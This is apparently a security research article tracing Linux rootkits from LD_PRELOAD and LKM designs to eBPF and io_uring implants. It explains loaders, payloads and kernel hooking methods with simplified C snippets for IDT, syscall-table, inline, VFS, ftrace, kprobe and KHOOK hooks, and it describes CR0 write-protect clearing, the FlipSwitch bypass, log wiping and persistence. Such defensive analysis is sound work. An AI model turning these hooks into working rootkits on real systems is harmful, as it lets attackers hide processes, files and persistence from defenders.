<p>With Linux dominating modern infrastructure, rootkits represent an under-monitored yet escalating threat. Improving detection, tooling, and research into Linux-specific techniques is increasingly urgent.</p>
<h2>Evolution of Linux Rootkit Implementation Models</h2>
<p>Over the past two decades, Linux rootkits have evolved from basic userland techniques to advanced, kernel-resident implants leveraging modern kernel interfaces like <code>eBPF</code> and <code>io_uring</code>. Each stage in this evolution reflects both attacker innovation and defender response, pushing rootkit designs toward greater stealth, flexibility, and resilience.</p>
<p>This section outlines that progression, including key characteristics, historical context, and real-world examples.</p>
<h3>Early 2000s: Shared Object (SO) Userland Rootkits</h3>
<p>The earliest Linux rootkits operated entirely in user space without requiring kernel modification, relying on techniques like <code>LD_PRELOAD</code> or the manipulation of shell profiles to inject malicious shared objects into legitimate binaries. By intercepting standard libc functions such as <code>opendir</code>, <code>readdir</code>, and <code>fopen</code>, these rootkits could manipulate the output of diagnostic tools like <code>ps</code>, <code>ls</code>, and <code>netstat</code>. While this approach made them easier to deploy, their reliance on userland hooks meant they were limited in stealth and scope compared to kernel-level implants; they were easily disrupted by simple reboots or configuration resets. Prominent examples include the <a href="https://github.com/chokepoint/jynxkit">Jynx rootkit (2009)</a>, which hooked <code>libc</code> functions to hide files and connections, and <a href="https://github.com/chokepoint/azazel">Azazel (2013)</a>, which combined shared object injection with optional kernel-mode features. The foundational techniques for this dynamic linker abuse were famously detailed in <a href="https://phrack.org/issues/61/8">Phrack Magazine #61</a>  back in 2003.</p>
<h3>Mid-2000s-2010s: Loadable Kernel Module (LKM) Rootkits</h3>
<p>As defenders became adept at spotting userland manipulations, attackers migrated into the kernel space via Loadable Kernel Modules (LKMs). Although LKMs are legitimate extensions, malicious actors utilize them to operate with full privileges, hooking the <code>sys_call_table</code>, manipulating <code>ftrace</code>, or altering internal linked lists to hide processes, files, sockets, and even the rootkit itself. While LKMs offer deep control and powerful concealment capabilities, they face significant scrutiny in hardened environments. They are detectable via tainted kernel states, listings in <code>/proc/modules</code>, or specialized LKM scanners, and are increasingly hindered by modern defenses like Secure Boot, module signing, and Linux Security Modules (LSMs). Classic examples of this era include <a href="https://github.com/yaoyumeng/adore-ng">Adore-ng (2004+)</a>, a syscall-hooking LKM capable of hiding itself; <a href="https://github.com/m0nad/Diamorphine">Diamorphine (2016)</a>, a popular hooker that remains functional on many distributions; and <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile (2020)</a>, a modern variant featuring backdoor capabilities.</p>
<h3>Late 2010s: eBPF-Based Rootkits</h3>
<p>To evade the growing detection of LKM-based threats, attackers began abusing eBPF, a subsystem originally built for safe packet filtering and kernel tracing. Since Linux 4.8+, eBPF has evolved into a programmable in-kernel virtual machine capable of attaching code to syscall hooks, kprobes, tracepoints, or Linux Security Module events. These implants run in kernel space but avoid traditional module loading, allowing them to bypass standard LKM scanners like <code>rkhunter</code> and <code>chkrootkit</code>, as well as Secure Boot restrictions. Because they do not appear in <code>/proc/modules</code> and are essentially invisible to typical module audit mechanisms, they require <code>CAP_BPF</code> or <code>CAP_SYS_ADMIN</code> (or rare unprivileged BPF access) to deploy. This era is defined by tools like <a href="https://github.com/h3xduck/TripleCross">Triple Cross (2022)</a>, a proof-of-concept that injects eBPF programs to hook syscalls like <code>execve</code>, and <a href="https://github.com/krisnova/boopkit">Boopkit (2022)</a>, which implements a covert C2 channel entirely via eBPF, alongside numerous Defcon presentations exploring the topic.</p>
<h3>2025s and Beyond: io_uring-Based Rootkits (Emerging)</h3>
<p>The most recent evolution capitalizes on <code>io_uring</code>, a high-performance asynchronous I/O interface introduced in Linux 5.1 (2019) that allows processes to batch system operations via shared memory rings. While designed to reduce syscall overhead for performance, red teamers have demonstrated that <code>io_uring</code> can be abused to create stealthy userland agents or kernel-context rootkits that evade syscall-based EDRs. By using <code>io_uring_enter</code> to batch file, network, and process operations, these rootkits produce far fewer observable syscall events, frustrating traditional detection mechanisms and avoiding the restrictions placed on LKMs and eBPF. Although still experimental, examples like <a href="https://github.com/MatheuZSecurity/RingReaper">RingReaper (2025)</a>, which uses <code>io_uring</code> to stealthily replace common syscalls like <code>read</code>, <code>write</code>, <code>connect</code>, and <code>unlink</code>, and <a href="https://www.armosec.io/blog/io_uring-rootkit-bypasses-linux-security/">research by ARMO</a> highlight this as a highly promising vector for future rootkit development that is hard to trace without custom instrumentation.</p>
<p>The Linux rootkit design has consistently adapted in response to better defenses. As LKM loading becomes more difficult and syscall auditing becomes more advanced, attackers have turned to alternative interfaces such as eBPF and <code>io_uring</code>. With this evolution, the battle is no longer just about detection, but about understanding the mechanisms rootkits use to blend into the system’s core, starting with their hooking strategies and internal architecture.</p>
<h2>Rootkit Internals and Hooking Techniques</h2>
<p>Understanding the architecture of Linux rootkits is essential for detection and defense. Most rootkits follow a modular design with two main components:</p>
<ul>
<li><strong>Loader</strong>: Installs or injects the rootkit and may establish persistence. While not strictly necessary, a separate loader component is often seen in malware infection chains that deploy rootkits.</li>
<li><strong>Payload</strong>: Performs malicious actions such as hiding files, intercepting syscalls, or covert communications.</li>
</ul>
<p>Payloads rely heavily on hooking techniques to alter execution flow and achieve stealth.</p>
<h2>Rootkit Loader Component</h2>
<p>The loader is the component responsible for transferring the rootkit into memory, initializing its execution, and in many cases, establishing persistence or escalating privileges. Its role is to bridge the gap between initial access (e.g., via exploit, phishing, or misconfiguration) and full rootkit deployment.</p>
<p>Depending on the rootkit model, the loader may operate entirely in user space, interact with the kernel through standard system interfaces, or bypass operating system protections altogether. Broadly, loaders can be categorized into three classes: malware-based droppers, userland rootkit initializers, and custom kernel-space loaders. Additionally, rootkits may be loaded manually by an attacker through userspace tooling such as <code>insmod</code>.</p>
<h3>Malware-Based Droppers</h3>
<p>Malware droppers are lightweight programs, often deployed after initial access, whose sole purpose is to download or unpack a rootkit payload and execute it. These droppers typically operate in user space but escalate privileges and interact with kernel-level features.</p>
<p>Common techniques include:</p>
<ul>
<li><strong>Module injection</strong>: Writing a malicious <code>.ko</code> file to disk and invoking <code>insmod</code> or <code>modprobe</code> to load it as a kernel module.</li>
<li><strong>Syscall wrapper:</strong> Using a wrapper around <code>init_module()</code> or <code>finit_module()</code> to load an LKM directly through syscalls.</li>
<li><strong>In-memory injection</strong>: Leveraging interfaces such as <code>ptrace</code> or <code>memfd_create</code>, often avoiding disk artifacts.</li>
<li><strong>BPF-based loading</strong>: Using utilities like <code>bpftool</code>, <code>tc</code>, or direct <code>bpf()</code> syscalls to load and attach eBPF programs to kernel tracepoints or LSM hooks.</li>
</ul>
<h3>Userland Loaders</h3>
<p>In the case of Shared Object rootkits, the loader may be limited to modifying user configuration or environment settings:</p>
<ul>
<li><strong>Dynamic linker abuse</strong>: Setting <code>LD_PRELOAD=/path/to/rootkit.so</code> allows the malicious shared object to override libc functions when the target binary executes.</li>
<li><strong>Persistence via profile modification</strong>: Inserting preload configurations into <code>.bashrc</code>, <code>.profile</code>, or global files such as <code>/etc/profile</code> ensures continued execution across sessions.</li>
</ul>
<p>While these loaders are trivial in implementation, they remain effective in weakly defended environments or as part of multi-stage infection chains.</p>
<h3>Custom Kernel Loaders</h3>
<p>Advanced rootkits may include custom kernel loaders designed to bypass standard module loading paths entirely. These loaders interact directly with low-level kernel interfaces or memory devices to write the rootkit into memory, often evading kernel audit logs or module signature verification.</p>
<p>For example, Reptile includes a userspace binary as a loader, allowing it to load the rootkit without invoking <code>insmod</code> or <code>modprobe</code>; however, it still relies on the <code>init_mod</code> syscall for loading the module into memory.</p>
<h3>Additional Loader Capabilities</h3>
<p>The malware loader often assumes an expanded role beyond simple initialization, becoming a multifunctional component of the attack chain. A key step for these advanced loaders is Elevating Privileges, in which they seek root access before loading the primary payload, often by exploiting local kernel vulnerabilities, a common tactic exemplified by the &quot;Dirty Pipe&quot; vulnerability (CVE-2022-0847). Once privileges are secured, the loader is then tasked with covering tracks. This involves a process of wiping evidence of execution by clearing entries from critical files like <code>bash_history</code>, kernel logs, audit logs, or the system's main <code>syslog</code>. Finally, to guarantee re-execution upon system restart, the loader ensures persistence by installing mechanisms such as <code>systemd</code> units, <code>cron</code> jobs, <code>udev</code> rules, or modifications to initialization scripts. These multifunctional behaviors often blur the distinction between a mere &quot;loader&quot; and full-fledged malware, especially in complex, multi-stage infections.</p>
<h2>Payload Component</h2>
<p>The payload delivers core functionality: stealth, control, and persistence. There are several primary methods an attacker might use. User-space payloads, often referred to as SO rootkits, operate by hijacking standard C library functions like <code>readdir</code> or <code>fopen</code> via the dynamic linker. This allows them to manipulate the output of common system tools such as <code>ls</code>, <code>netstat</code>, and <code>ps</code>. While they are generally easier to deploy, their operational scope is limited.</p>
<p>In contrast, kernel-space payloads operate with full system privileges. They can hide files and processes directly from <code>/proc</code>, manipulate the networking stack, and modify kernel structures. A more modern approach involves eBPF-based rootkits, which leverage in-kernel bytecode attached to syscall tracepoints or Linux Security Module (LSM) hooks. These kits offer stealth without requiring out-of-tree modules, making them particularly effective in environments with Secure Boot or module signing policies. Tools like <code>bpftool</code> simplify their loading, thereby complicating detection. Finally, <code>io_uring</code>-based payloads exploit asynchronous I/O batching via <code>io_uring_enter</code> (available in Linux 5.1 and later) to bypass traditional syscall monitoring. This allows for stealthy file, network, and process operations while minimizing telemetry exposure.</p>
<h2>Linux Rootkits – Hooking Techniques</h2>
<p>Building on that essential foundation, we now turn to the core of most rootkit functionality: hooking. At its essence, hooking involves intercepting and altering the execution of functions or system calls to conceal malicious activity or inject new behaviors. By diverting the normal flow of code, rootkits can hide files and processes, filter out security events, or secretly monitor the system, often without leaving obvious clues. Hooking can be implemented in both userland and kernel space, and over the years, attackers have devised numerous hooking techniques, from legacy methods to modern evasive maneuvers. In this part, we will provide a deep dive into common hooking techniques used by Linux rootkits, illustrating each method with examples and real-world rootkit samples (such as <a href="https://codeberg.org/hardenedvault/Reptile-vault-range">Reptile</a>, <a href="https://github.com/m0nad/Diamorphine">Diamorphine</a>, <a href="https://www.elastic.co/fr/security-labs/declawing-pumakit">PUMAKIT</a>, and, more recently, <a href="https://github.com/1337-42/FlipSwitch-dev/">FlipSwitch</a>) to understand how they work and how kernel evolution has challenged them.</p>
<h3>The Concept of Hooking</h3>
<p>At a high level, hooking is the practice of intercepting a function or system call invocation and redirecting it to malicious code. By doing so, a rootkit can modify the returned data or behavior to hide its presence or tamper with system operations. For example, a rootkit might hook the syscall that lists files in a directory (<code>getdents</code>), making it skip over any filenames that match the rootkit’s own files, thus making those files “invisible” to user commands like <code>ls</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image1.png" alt="Figure 1: Overview of getdents() syscall hooking flow by loadable kernel module rootkit." /></p>
<p>Hooking is not confined to kernel internals; it can also occur in user space. Early Linux rootkits operated entirely in userland by injecting malicious shared objects into processes. Techniques like using the dynamic linker’s <code>LD_PRELOAD</code> environment variable allow a rootkit to override standard C library functions (e.g., <code>getdents</code>, <code>readdir</code>, and <code>fopen</code>) in user programs. This means when a user runs a tool like <code>ps</code> or <code>netstat</code>, the rootkit’s injected code intercepts calls to list processes or network connections and filters out the malicious ones. These userland hooks require no kernel privileges and are relatively simple to implement.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/image2.png" alt="Figure 2: Overview of readdir() function hooking flow by shared object rootkit." /></p>
<p>Notable examples include <a href="https://github.com/chokepoint/jynxkit">JynxKit (2012)</a> and <a href="https://github.com/chokepoint/azazel">Azazel (2014)</a>, user-mode rootkits that hook dozens of <code>libc</code> functions to hide processes, files, network ports, and even enable backdoors. However, userland hooking has significant limitations: it’s easier to detect and remove, and it lacks the deep control that kernel-level hooks have. As a result, most modern and “in the wild” Linux rootkits have shifted to kernel space hooking, despite the higher complexity and risk, because kernel hooks can comprehensively trick the operating system and security tools at a low level.</p>
<p>In the kernel, hooking typically means altering kernel data structures or code so that when the kernel tries to execute a particular operation (say, open a file or make a system call), it invokes the rootkit’s code instead of (or in addition to) the legitimate code. Over the years, Linux kernel developers have introduced stronger protections to guard against unauthorized modifications, but attackers have responded with increasingly sophisticated hooking methods. Below, we’ll examine the major hooking techniques in kernel space, starting from older methods (now largely obsolete) and progressing to modern techniques that attempt to bypass contemporary kernel defenses. Each subsection will explain the technique, show a simplified code example, and discuss its usage in known rootkits and its limitations given today’s Linux safeguards.</p>
<h3>Hooking Techniques in the Kernel</h3>
<h4>Interrupt Descriptor Table (IDT) Hooking</h4>
<p>One of the earliest kernel hooking tricks on Linux was to target the Interrupt Descriptor Table (IDT). On 32-bit x86 Linux, system calls used to be invoked via a software interrupt (<code>int 0x80</code>). The IDT is a table that maps interrupt numbers to handler addresses. By modifying the IDT entry for <code>0x80</code>, a rootkit could hijack the system call entry point before the kernel’s own system call dispatcher gets control. In other words, when any program triggered a syscall via <code>int 0x80</code>, the CPU would jump to the rootkit’s custom handler first, allowing the rootkit to filter or redirect calls at the very lowest level. Below is a simplified code example of IDT hooking (for illustration purposes):</p>
<pre><code class="language-c">// Install the IDT hook
static int install_idt_hook(void) {
    // Get pointer to IDT table
    idt_table = get_idt_table();

    // Save original syscall handler (int 0x80 = entry 128)
    original_syscall_entry = idt_table[0x80];

    // Calculate original handler address
    original_syscall_handler = (void*)(
        (original_syscall_entry.offset_high &lt;&lt; 16) |
        original_syscall_entry.offset_low
    );

    // Install our hook
    idt_table[0x80].offset_low = (unsigned long)custom_int80_handler &amp; 0xFFFF;
    idt_table[0x80].offset_high =
        ((unsigned long)custom_int80_handler &gt;&gt; 16)
        &amp; 0xFFFF;

    // Keep same selector and attributes as original
    // idt_table[0x80].selector and type_attr remain unchanged

    printk(KERN_INFO &quot;IDT hook installed at 0x80\n&quot;);
    return 0;
}

</code></pre>
&lt;center&gt;*IDT hijacking code example*&lt;/center&gt;
<p>The above code sets a new handler for interrupt <code>0x80</code>, redirecting execution flow to the rootkit’s handler before any syscall handling occurs. This allows the rootkit to intercept or modify syscall behavior entirely below the level of the syscall table. IDT hooking is used by educational and older rootkits such as <a href="https://phrack.org/issues/58/7">SuckIT</a>.</p>
<p>IDT hooking is mostly a historical technique now. It only worked on older Linux systems that use the <code>int 0x80</code> mechanism (32-bit x86 kernels before Linux 2.6). Modern 64-bit Linux uses the <code>sysenter</code>/<code>syscall</code> instructions instead of the software interrupt, so the IDT entry for <code>0x80</code> is no longer used for system calls. Additionally, IDT hooking is highly architecture-specific (x86 only) and is not effective on modern kernels with x86_64 or other architectures.</p>
<h4>Syscall Table Hooking</h4>
<p>Syscall table hooking is a classic rootkit technique that involves modifying the kernel's system call dispatch table, known as the <code>sys_call_table</code>. This table is an array of function pointers where each entry corresponds to a specific syscall number. By overwriting a pointer in this table, an attacker can redirect a legitimate syscall, such as <code>getdents64</code>, <code>kill</code>, or <code>read</code>, to a malicious handler. An example is displayed below.</p>
<pre><code class="language-c">asmlinkage int (*original_getdents64)(
    unsigned int,
    struct linux_dirent64 __user *,
    unsigned int);

asmlinkage int hacked_getdents64(
    unsigned int fd,
    struct linux_dirent64 __user *dirp,
    unsigned int count)
{
    int ret = original_getdents64(fd, dirp, count);
    // Filter hidden entries from dirp
    return ret;
}

write_cr0(read_cr0() &amp; ~0x10000); // Disable write protection
sys_call_table[__NR_getdents64] = hacked_getdents64;
write_cr0(read_cr0() | 0x10000); // Re-enable write protection

</code></pre>
&lt;center&gt;*Syscall table hijacking code example*&lt;/center&gt;
<p>In the example, to modify the table, a kernel module would first need to disable write protection on the memory page where the table resides. The following assembly code (as seen in Diamorphine) demonstrates how the 20th bit (Write Protect) of the <code>CR0</code> control register can be cleared, even though the <code>write_cr0</code> function is no longer exported to modules:</p>
<pre><code class="language-c">static inline void
write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    asm volatile(
        &quot;mov %0, %%cr0&quot;
        : &quot;+r&quot;(val), &quot;+m&quot;(__force_order));
}

</code></pre>
&lt;center&gt;*Control register (cr0) clearing code example*&lt;/center&gt;
<p>Once write protection is disabled, the address of a syscall in the table can be replaced with the address of a malicious function. After the modification, write protection is re-enabled. Notable examples of rootkits that used this technique include Diamorphine, Knark, and Reveng_rtkit. Syscall table hooking has several limitations:</p>
<ul>
<li>Kernel hardening (since 2.6.25) hides <code>sys_call_table</code>.</li>
<li>Kernel memory pages were made read-only (<code>CONFIG_STRICT_KERNEL_RWX</code>).</li>
<li>Security features like Secure Boot and the kernel lockdown mechanism can hinder modifications to CR0.</li>
</ul>
<p>The most definitive mitigation came with Linux kernel 6.9, which fundamentally changed how syscalls are dispatched on the x86-64 architecture. Before version 6.9, the kernel executed syscalls by directly looking up the handler in the <code>sys_call_table</code> array:</p>
<pre><code class="language-c">// Pre-v6.9 Syscall Dispatch
asmlinkage const sys_call_ptr_t sys_call_table[] = {
    #include &lt;asm/syscalls_64.h&gt;
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels before version 6.9*&lt;/center&gt;
<p>Starting with kernel 6.9, the syscall number is used in a switch statement to find and execute the appropriate handler. The <code>sys_call_table</code> still exists but is only populated for compatibility with tracing tools and is no longer used in the syscall execution path.</p>
<pre><code class="language-c">// Kernel v6.9+ Syscall Dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include &lt;asm/syscalls_64.h&gt;
    default: return __x64_sys_ni_syscall(regs);
    }
};

</code></pre>
&lt;center&gt;*Syscall execution in Linux kernels after version 6.9*&lt;/center&gt;
<p>As a result of this architectural change, overwriting function pointers in the <code>sys_call_table</code> on kernels 6.9 and newer does not affect syscall execution, rendering the technique entirely ineffective. While this led us to assume that syscall table patching was no longer viable, we recently published the <a href="https://github.com/1337-42/FlipSwitch-dev/"><strong>FlipSwitch</strong></a> technique, which demonstrates that this vector is far from dead. This method leverages specific register manipulation gadgets to momentarily disable kernel write-protection mechanisms, effectively allowing an attacker to bypass the &quot;immutability&quot; of the modern syscall path and reintroduce hooks even within these hardened environments.</p>
<p>Instead of targeting the data-based <code>sys_call_table</code>, FlipSwitch focuses on the compiled machine code of the kernel's new syscall dispatcher function, <code>x64_sys_call</code>. Because the kernel now uses a massive switch-case statement to execute syscalls, each syscall has a hardcoded <code>call</code> instruction within the dispatcher's binary. FlipSwitch scans the memory of the <code>x64_sys_call</code> function to locate the specific &quot;signature&quot; of a target syscall, typically an <code>0xe8</code> opcode (the <code>CALL</code> instruction) followed by a 4-byte relative offset that points to the original, legitimate handler.</p>
<p>Once this call site is identified within the dispatcher, the rootkit uses gadgets to clear the Write Protect (WP) bit in the CR0 control register, granting temporary write access to the kernel's executable code segments. The original relative offset is then overwritten with a new offset pointing to a malicious, adversary-controlled function. This effectively &quot;flips the switch&quot; at the point of dispatch, ensuring that whenever the kernel attempts to execute the target syscall through its modern switch-statement path, it is redirected to the rootkit instead. This enables reliable, precise syscall interception that persists despite the 6.9 kernel’s architectural hardening.</p>
<h4>Inline Hooking / Function Prologue Patching</h4>
<p>Inline hooking is an alternative to hooking via pointer tables. Instead of modifying a pointer in a table, inline hooking patches the code of the target function itself. The rootkit writes a jump instruction at the start (prologue) of a kernel function, which diverts execution to the rootkit’s own code. This technique is akin to function hot-patching or the way user-mode hooks on Windows work (e.g., modifying the first bytes of a function to jump to a detour).</p>
<p>For example, a rootkit might target a kernel function like <code>do_sys_open</code> (which is part of the open file syscall handling). By overwriting the first few bytes of <code>do_sys_open</code> with an <code>x86 JMP</code> instruction to malicious code, the rootkit ensures that whenever <code>do_sys_open</code> is called, it jumps into the rootkit’s routine instead. The malicious routine can then execute whatever it wants (e.g., check if the filename to open is on a hidden list and deny access), and optionally call the original <code>do_sys_open</code> to proceed with normal behavior for non-hidden files.</p>
<pre><code class="language-c">unsigned char *target = (unsigned char *)kallsyms_lookup_name(&quot;do_sys_open&quot;);
unsigned long hook = (unsigned long)&amp;malicious_function;
int offset = (int)(hook - ((unsigned long)target + 5));
unsigned char jmp[5] = {0xE9};
memcpy(&amp;jmp[1], &amp;offset, 4);

// Memory protection omitted for brevity
memcpy(target, jmp, 5);

asmlinkage long malicious_function(
    const char __user *filename,
    int flags, umode_t mode) {
    printk(KERN_INFO &quot;do_sys_open hooked!\n&quot;);
    return -EPERM;
}

</code></pre>
&lt;center&gt;*Inline hooking code example*&lt;/center&gt;
<p>This code overwrites the beginning of <code>do_sys_open()</code> with a <code>JMP</code> instruction that redirects execution to malicious code. The open-source rootkit Reptile extensively uses inline function patching via a custom framework called KHOOK (which we will discuss shortly).</p>
<p>Reptile’s inline hooks target functions like <code>sys_kill</code> and others, enabling backdoor commands (e.g., sending a specific signal to a process triggers the rootkit to elevate privileges or hide the process). Another example is Suterusu, which also applied inline patching for some of its hooks.</p>
<p>Inline hooking is fragile and high-risk: overwriting a function’s prologue is sensitive to kernel version and compiler differences (so hooks often need per-build patches or runtime disassembly), it can easily crash the system if instructions or concurrent execution aren’t handled correctly, and it requires bypassing modern memory protections (<code>W^X</code>, <code>CR0 WP</code>, module signing/lockdown) or exploiting vulnerabilities to make kernel text writable.</p>
<h4>Virtual Filesystem Hooking</h4>
<p>The Virtual Filesystem (VFS) layer in Linux provides an abstraction for file operations. For example, when you read a directory (like <code>ls /proc</code>), the kernel will eventually call a function to iterate over directory entries. File systems define their own file_operations with function pointers for actions like <code>iterate_shared</code> (to list directory contents) or read/write for file I/O. VFS hooking involves replacing these function pointers with rootkit-provided functions to manipulate how the filesystem presents data.</p>
<p>In essence, a rootkit can hook into the VFS to hide files or directories by filtering them out of directory listings. A common trick: hook the function that iterates directory entries, and make it skip any file names that match a certain pattern. The <code>file_operations</code> structure for directories (particularly in <code>/proc</code> or <code>/sys</code>) is a frequent target, since hiding malicious processes often involves hiding entries under <code>/proc/&lt;pid&gt;</code>.</p>
<p>Consider this example hook for a directory listing function:</p>
<pre><code class="language-c">static iterate_dir_t original_iterate;

static int malicious_filldir(
    struct dir_context *ctx,
    const char *name, int namelen,
    loff_t offset, u64 ino,
    unsigned int d_type)
{
    if (!strcmp(name, &quot;hidden_file&quot;))
        return 0; // Skip hidden_file
    return ctx-&gt;actor(ctx, name, namelen, offset, ino, d_type);
}

static int malicious_iterate(struct file *file, struct dir_context *ctx)
{
    struct dir_context new_ctx = *ctx;
    new_ctx.actor = malicious_filldir;
    return original_iterate(file, &amp;new_ctx);
}

// Hook installation
file-&gt;f_op-&gt;iterate = malicious_iterate;

</code></pre>
&lt;center&gt;*VFS hooking code example*&lt;/center&gt;
<p>This replacement function filters out hidden files during directory listing operations. By hooking at the VFS level, the rootkit doesn’t need to tamper with system call tables or low-level assembly; it simply piggybacks on the filesystem interface. <a href="https://github.com/yaoyumeng/adore-ng">Adore-NG</a>, a once-popular Linux rootkit, employed VFS hooking to hide files and processes. It patched the function pointers for directory iteration to conceal entries for specific PIDs and filenames. Many other kernel rootkits have similar code to hide themselves or their artifacts via VFS hooks.</p>
<p>VFS hooking is still widely used, but it has limitations due to changes in kernel structure offsets between versions, which can lead to hooks breaking.</p>
<h4>Ftrace-Based Hooking</h4>
<p>Modern Linux kernels include a powerful tracing framework called ftrace (function tracer). Ftrace is intended for debugging and performance analysis, allowing one to attach hooks (callbacks) to almost any kernel function entry or exit without modifying the kernel code directly. It works by dynamically modifying kernel code at runtime in a controlled manner (often by patching in a lightweight trampoline that calls the tracing handler). Importantly, ftrace provides an API for kernel modules to register trace handlers, as long as certain conditions are met (like having the kernel built with ftrace support and the debugfs interface available).</p>
<p>Rootkits have started abusing ftrace to implement hooks in a less obvious way. Instead of manually writing a <code>JMP</code> into a function, a rootkit can ask the kernel’s ftrace machinery to do it on its behalf; essentially “legitimizing” the hook. This means the rootkit doesn’t have to find the function’s address or modify page protections; it simply registers a callback for the function name it wants to intercept, and the kernel installs the hook.</p>
<p>Here’s a simplified example of using ftrace to hook the <code>mkdir</code> system call handler:</p>
<pre><code class="language-c">static int __init hook_init(void) {
    target_addr = kallsyms_lookup_name(SYSCALL_NAME(&quot;sys_mkdir&quot;));
    if (!target_addr) return -ENOENT;
    real_mkdir = (void *)target_addr;

    ops.func = ftrace_thunk;
    ops.flags = FTRACE_OPS_FL_SAVE_REGS
        | FTRACE_OPS_FL_RECURSION_SAFE
        | FTRACE_OPS_FL_IPMODIFY;

    if (ftrace_set_filter_ip(&amp;ops, target_addr, 0, 0)) return -EINVAL;
    return register_ftrace_function(&amp;ops);
}

</code></pre>
&lt;center&gt;*Ftrace hooking code example*&lt;/center&gt;
<p>This hook intercepts the <code>sys_mkdir</code> function and reroutes it through a malicious handler. Recent rootkits such as <a href="https://github.com/carloslack/KoviD">KoviD</a>, <a href="https://github.com/MatheuZSecurity/Singularity">Singularity</a>, and <a href="https://github.com/h3xduck/Umbra">Umbra</a> have utilized ftrace-based hooks. These rootkits register ftrace callbacks on various kernel functions (including syscalls) to either monitor or manipulate them.</p>
<p>The main advantage of ftrace hooking is that it leaves no obvious footprints in global tables or patched code. The hooking is done via legitimate kernel interfaces. To an untrained eye, everything looks normal; <code>sys_call_table</code> is intact, function prologues are not manually overwritten by the rootkit (they are overwritten by the ftrace mechanism, but that is a common and allowed occurrence in a kernel with tracing enabled). Also, ftrace hooks can often be enabled/disabled on the fly and are inherently less intrusive than manual patching.</p>
<p>While ftrace hooking is powerful, it’s constrained by environment and privilege boundaries (if used from outside the kernel). It requires access to the tracing interface (debugfs) and <code>CAP_SYS_ADMIN</code> privileges, which may be unavailable on hardened or containerized systems where even UID 0 is restricted by namespaces, LSMs, or Secure Boot lockdown policies. Debugfs may also be unmounted or read-only in production for security reasons. Thus, while a fully privileged root user can typically use ftrace, modern defenses often disable or limit these capabilities, reducing the practicality of ftrace-based hooks in highly hardened environments.</p>
<h4>Kprobes Hooking</h4>
<p>Kprobes is another kernel feature intended for debugging and instrumentation, which attackers have repurposed for rootkit hooking. Kprobes allow one to dynamically break into almost any kernel routine at runtime by registering a probe handler. When the specified instruction is about to execute, the kprobe infrastructure saves state and transfers control to the custom handler. After the handler runs (you can even alter registers or the instruction pointer), the kernel resumes normal execution of the original code. In simpler terms, kprobes let you attach a custom callback to an arbitrary point in kernel code (function entry, specific instruction, etc.), somewhat like a breakpoint with a handler.<br />
Using kprobes for malicious hooking usually involves intercepting a function to either prevent it from doing something or to grab some info. A common use in modern rootkits: since many important symbols (like <code>sys_call_table</code> or <code>kallsyms_lookup_name</code>) are no longer exported, a rootkit can deploy a kprobe on a function that does have access to that symbol and steal it. A kprobe structure and registration are shown below.</p>
<pre><code class="language-c">// Declare a kprobe targeting the symbol &quot;kallsyms_lookup_name&quot;
static struct kprobe kp = {
    .symbol_name = &quot;kallsyms_lookup_name&quot;
};

// Function pointer type matching kallsyms_lookup_name
typedef unsigned long
    (*kallsyms_lookup_name_t)(const char *name);

// Global pointer to the resolved kallsyms_lookup_name
kallsyms_lookup_name_t kallsyms_lookup_name;

// Register the kprobe; kernel resolves kp.addr
// to the address of the symbol
register_kprobe(&amp;kp);

// Assign resolved address to our function pointer
kallsyms_lookup_name =
    (kallsyms_lookup_name_t) kp.addr;

// Unregister the kprobe (only needed it once)
unregister_kprobe(&amp;kp);

</code></pre>
&lt;center&gt;*Kprobes hooking code example*&lt;/center&gt;
<p>This probe is used to retrieve the symbol name for <code>kallsyms_lookup_name</code>, typically a precursor to syscall table hooking. Although not present in the initial commits, a recent update to Diamorphine used this technique. It places a kprobe to grab the pointer of <code>kallsyms_lookup_name</code> itself (or uses a kprobe on a known function to indirectly get what it needs). Similarly, other rootkits use a temporary kprobe to locate symbols, then unregister it once done, moving on to perform hooks via other means. Kprobes can also be used to directly hook behavior (not just find addresses). Or a jprobe (a specialized kprobe) can redirect a function entirely. However, using kprobes to fully replace functionality is tricky and not commonly done, because it’s simpler to either patch or use ftrace if you want to consistently hijack a function. Kprobes are often used for intermittent or auxiliary hooking.</p>
<p>Kprobes are useful but limited: they add runtime overhead and can destabilize systems if placed on very hot or restricted low-level functions (recursive probes are suppressed), so attackers must pick probe points carefully; they’re also auditable and can trigger kernel warnings or be logged by system auditing, and active probes are viewable under <code>/sys/kernel/debug/kprobes/list</code> (so unexpected entries are suspicious); some kernels may be built without kprobe/debug support.</p>
<h4>Kernel Hook Framework</h4>
<p>As mentioned earlier, with the Reptile rootkit, attackers sometimes create higher-level frameworks to manage their hooks. Kernel Hook (KHOOK) is one such framework (developed by the author of Reptile) that abstracts away the dirty work of inline patching and provides a cleaner interface for rootkit developers. Essentially, KHOOK is a library that allows you to specify a function to hook and your replacement, and it handles modifying the kernel code while providing a trampoline to call the original function safely. To illustrate, here’s an example of how one might use a KHOOK-like macro (based on Reptile’s usage) to hook the kill syscall:</p>
<pre><code class="language-c">// Creates a replacement for sys_kill:
// long sys_kill(long pid, long sig)
KHOOK_EXT(long, sys_kill, long, long);

static long khook_sys_kill(long pid, long sig) {
    // Signal 0 is used to check if a process
    // exists (without sending a signal)
    if (sig == 0) {
        // If the target is invisible (hidden by
        // a rootkit), pretend it doesn't exist
        if (is_proc_invisible(pid)) {
            return -ESRCH; // No such process
        }
    }

    // Otherwise, forward the call to the original sys_kill syscall
    return KHOOK_ORIGIN(sys_kill, pid, sig);
}
</code></pre>
&lt;center&gt;*KHOOK code example*&lt;/center&gt;
<p>KHOOK operates via inline function patching, overwriting function prologues with a jump to attacker-controlled handlers. The example above illustrates how <code>sys_kill()</code> is redirected to a malicious handler if the kill signal is 0.</p>
<p>Although KHOOK simplifies inline patching, it still inherits all its drawbacks: it modifies kernel text to insert jump stubs, so protections like kernel lockdown, Secure Boot, or <code>W^X</code> can block it. They are also architecture- and version-dependent (commonly limited to x86 and fails on kernel 5.x+), making them fragile across builds.</p>
<h3>Hooking Techniques in Userspace</h3>
